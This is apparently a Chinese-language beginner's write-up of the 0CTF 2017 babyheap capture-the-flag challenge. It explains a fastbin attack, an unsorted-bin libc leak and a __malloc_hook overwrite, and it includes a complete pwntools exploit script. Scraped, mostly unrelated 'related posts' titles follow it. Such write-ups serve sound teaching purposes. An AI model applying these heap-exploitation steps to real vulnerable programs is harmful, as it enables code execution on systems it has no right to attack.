0ctf-2017-babyheap图解
刚入门pwn的菜鸡选手看这个最简单的堆题都看了好久,在这里写一下自己的分析做备忘,也希望能帮助那些跟我一样刚刚接触堆的萌新。
主要思路就是:
- fastbin attack
- unsortedbin attack 泄露libc地址
- malloc_hook劫持程序流
程序分析
- 因为markdown画图不太熟悉,就用其他软件画了图。
- 先放exp,因为下面的图是根据exp画的。
#!/usr/bin/python
# -*- coding: utf-8 -*-
# ************************************************************************
# *
# * @file:babyheap_0ctf_2017.py
# * @date:2020-01-30 22:31
# * @version 1.0
# * @description: Python Script
# * @Author: sakai
# * @Copyright (c) all right reserved
# *
#************************************************************************* from pwn import *
import syscontext.terminal = ['tmux', 'splitw', '-h' ]
context(os='linux', arch='amd64', log_level='debug')local_file = './babyheap_0ctf_2017'
ip = 'node3.buuoj.cn'
port = 1
def con(cmd):if cmd == 0:sh = process(local_file)else:sh = remote(ip, port)return shdef cmd(x):sh.sendlineafter('Command: ',str(x))def allocate(size):cmd(1)sh.sendlineafter('Size: ',str(size))def fill(index,content):cmd(2)sh.sendlineafter('Index: ',str(index))sh.sendlineafter('Size: ',str(len(content)))sh.sendlineafter('Content: ',content)def free(index):cmd(3)sh.sendlineafter('Index: ',str(index))def dump(index):cmd(4)sh.sendlineafter('Index: ',str(index))sh = con(0)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# 图0
allocate(0x10)
allocate(0x10)
allocate(0x30)
allocate(0x40)
allocate(0x60)
#图1
fill(0, p64(0x51)*4)
fill(2, p64(0x31)*6)
free(1)
#图2
allocate(0x40)
fill(1,p64(0x91)*4)
#图3
free(2)
dump(1)
sh.recv(0x2a)
addr = u64(sh.recv(6).ljust(8,'\x00'))
success('get_addr => '+hex(addr))
malloc_hook = addr - 0x68
success('malloc_hook => '+hex(malloc_hook))
#图5
free(4)
payload = p64(0)*9+p64(0x71)+p64(malloc_hook-0x23)
fill(3,payload)
#图6
allocate(0x60) #idx2
allocate(0x60) #idx4libc_addr = malloc_hook-libc.symbols['__malloc_hook']
success('libc ='+hex(libc_addr))
one_gadget = p64(libc_addr+0x4526a)
payload = 'a'*0x13+ one_gadget #本地计算偏移
fill(4,payload)
allocate(1)
sh.interactive()
下一步我们继续申请2个0x60的chunk,因为fastbin上链了3个节点,首先会从fastbin[0x70]链表中取出来第一个节点(对应开始位置是上图中的D0处),建立了一个总大小为0x70的chunk。第二次allocate则会取链表的下一个节点,也就是malloc_hook-0x23这个地址作为新的chunk的开始地址,这个chunk总的大小还是0x70。通过本地查看信息计算偏移,得到最后的payload
参考链接:
2017-0ctf-babyheap
ctfwiki
0ctf-2017-babyheap图解相关推荐
- 0ctf 2017 kernel pwn knote write up
UAF due to using hlist_add_behind() without checking. There is a pair locker(mutex_lock) at delete_n ...
- 确认main_arena相对libc的偏移地址
前言 打保护全开的堆题时碰到的问题, 大佬wp直接给exp, 但是奈何萌新很多细节不懂啊 现在记录一下寻找main_arena相对libc偏移的方法(又水一篇博客) 在0CTF 2017 babyhe ...
- pwn with glibc heap(堆利用手册)
前言 对一些有趣的堆相关的漏洞的利用做一个记录,如有差错,请见谅. 文中未做说明 均是指 glibc 2.23 相关引用已在文中进行了标注,如有遗漏,请提醒. 简单源码分析 本节只是简 ...
- 2019 6月编程语言_六月开始提供435项免费在线编程和计算机科学课程
2019 6月编程语言 Five years ago, universities like MIT and Stanford first opened up free online courses t ...
- 计算机科学导论第五版_五月份将开始提供438项免费在线编程和计算机科学课程
计算机科学导论第五版 Five years ago, universities like MIT and Stanford first opened up free online courses to ...
- 计算机编程课程顺序_您可以在八月开始学习450项免费的在线编程和计算机科学课程...
计算机编程课程顺序 Five years ago, universities like MIT and Stanford first opened up free online courses to ...
- linux 堆溢出 pwn 指南,新手科普 | CTF PWN堆溢出总结
学习汇总 序言 自从加入RTIS交流群, 在7o8v师傅,gd大佬的帮助下,PWN学习之路进入加速度.下面是八周学习的总结,基本上是按照how2heap路线走的.由于八周内容全写,篇幅太长,这里只讲述 ...
- 从10个角度来检测自己是不是一个合格的前端工程师
开篇 前端开发是一个非常特殊的行业,它的历史实际上不是很长,但是知识之繁杂,技术迭代速度之快是其他技术所不能比拟的. winter在他的<重学前端>课程中提到: 到现在为止,前端工程师已经 ...
- 2017 0ctf——babyheap
64位程序,保护全开 #fastbin attack 程序逻辑 1 __int64 __fastcall main(__int64 a1, char **a2, char **a3) 2 { 3 __ ...
- poi 公式转 图片_三阶魔方公式符号图解V2.0(2017/12/15)_碧海风云
本文出自微信公众号[碧海风云]之<三阶魔方公式符号图解V2.0(2017/12/15)_碧海风云> 公式符号概述 英国原伦敦南岸大学数学教授大卫·辛马斯特(David Breyer Sin ...
最新文章
- 面试官:抛开Spring来说,如何自己实现Spring AOP?
- python 函数调用列表_在项目列表上调用一个函数的最简洁方法 - python
- 云南大学计算机网络原理,云南大学软件学院计算机网络原理期中试卷王世普.doc...
- .net后台获取html控件值的2种方法
- 使用GPG校验sign签名
- 为什么你的记忆总会越来越模糊?
- C语言再学习 -- Linux 中常用基本命令
- 【Linux】一步一步学Linux——command命令(226)
- Web框架——Flask系列之模板使用练习(六)
- 查询结果做缓存的例子
- python IDE 集合
- 标签和标签选择器、label selector
- 逗比学CTF.day2
- Threejs入门之五:Threejs中的辅助对象
- 用神经网络实现语音分类
- 汽车电子功能安全标准ISO26262解析(十二)——HARA分析
- 自定义彩色进度条效果
- 浅析 AGS REST API
- 信息检索与利用(第三版)第六章 搜索引擎
- 2012年度最佳 Web 前端开发工具和框架——《上篇》
热门文章
- Win10系统遇到驱动需要数字签名无法安装问题的解决方法(手机通过数据线无法链接电脑)
- 关于大创项目的初期思考2020.11.14
- JAVA发送HttpClient请求及接收请求完整代码实例
- 百度地图android兼容,支持离线地图 百度地图Android版上线
- string entitlement = Application.dataPath+ “/Editor/Entitle Unity工程到处iOS工程,用脚本把Push Notifications打开
- tail关键字查询日志
- 【转载】社会网络中心性度量
- Elasticsearch:使用 Debian 软件包安装 Elasticsearch
- 360极速浏览器配置Chromedrive
- 转载ios开发如何使用Xcode的Targets来管理开发和生产版本的构建